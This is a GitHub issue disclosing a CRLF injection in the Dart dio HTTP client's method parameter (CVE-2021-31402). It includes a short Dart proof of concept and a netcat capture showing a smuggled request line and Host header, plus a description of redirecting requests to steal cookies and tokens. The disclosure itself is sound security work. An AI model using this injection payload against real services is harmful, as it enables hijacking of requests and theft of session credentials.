

New issue

Jump to bottom

# CRLF in dio.request #1130

Closed

1 task done

n0npax opened this issue on Apr 15, 2021 · 6 comments

Labels

stale

n0npax commented on Apr 15, 2021

## New Issue Checklist

☒ I have searched for a similar issue in the [project](#) and found none

## Issue Info

ENV: Any

Examples generated on:

Dart SDK version: 2.13.0-204.0.dev (dev) (Unknown timestamp) on "linux\_x64"  
dio version: 4.0.0

## Issue Description and Steps

Please consider given snippet:

```
import 'package:dio/dio.dart';

void main() async {
  var dio = Dio();
  dio.options.baseUrl = 'http://localhost:1234';
  var resp = await dio.request(
    '/test',
    options: Options(
      method: "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      //method: "GET",
    ),
  );
}
```

Generated call looks like

```
nc -l -p 1234
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /test HTTP/1.1
user-agent: Dart/2.13 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost:1234
```

Which presents a security issue. Classic CRLF injection.

## Vector attack:

If the attacker controls the HTTP method(verb), he can change a call and steal all cookies, session whatever is in a call. Assuming flow like USER -> FOO -> BAR , where flow between FOO and BAR is internal, mentioned data may leak.

Let's assume I'm replacing example.com with my-hackery-user-service.org and the victim(service) is working in a company behind the proxy. This means I can easily redirect calls with headers/cookies(tokens) and blah blah blah. By doing more advanced CRLF I can remove the requirement for proxy at all.

## Expected behavior:

if HTTP method(verb) is invalid, raise error.

n0npax changed the title ~~CRLF in dio.request - see issue~~ CRLF in dio.request on Apr 15, 2021

licy183 commented on Apr 18, 2021

Contributor

I have tested HttpClient in dart:io package, and the same problem occurs. Maybe we should let the dart sdk resolve this issue.


licy183 mentioned this issue on Apr 18, 2021

Validate method parameter of HttpClient.open(), check it has no CR, LF dart-lang/sdk#45744

Closed


stale bot commented on Jun 4, 2021

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. If this is still an issue, please make sure it is up to date and if so, add a comment that this is still an issue to keep it open. Thank you for your contributions.

 **stale** (bot) added the **stale** label on Jun 4, 2021


OS-WS commented on Jun 6, 2021 • edited


Hi,  
This issue was assigned with [CVE-2021-31402](#).  
Was it fixed?  
thanks in advance!

 **stale** (bot) removed the **stale** label on Jun 6, 2021

**stale** (bot) commented on Jul 7, 2021

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. If this is still an issue, please make sure it is up to date and if so, add a comment that this is still an issue to keep it open. Thank you for your contributions.

 **stale** (bot) added the **stale** label on Jul 7, 2021

 **stale** (bot) closed this as completed on Jul 20, 2021

n0npax commented on Jul 20, 2021

Author

Hi guys, Your bot just closed CVE related issue without fix. This CVE was scored as high(<https://nvd.nist.gov/vuln/detail/CVE-2021-31402>).  
CC: @licy183

licy183 commented on Jul 22, 2021

Contributor

Hi guys, Your bot just closed CVE related issue without fix. This CVE was scored as high(<https://nvd.nist.gov/vuln/detail/CVE-2021-31402>).  
CC: @licy183

Maybe we should let the repo's owner reopen this issue.  
CC: @wendux

Assignees

No one assigned

Labels

**stale**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

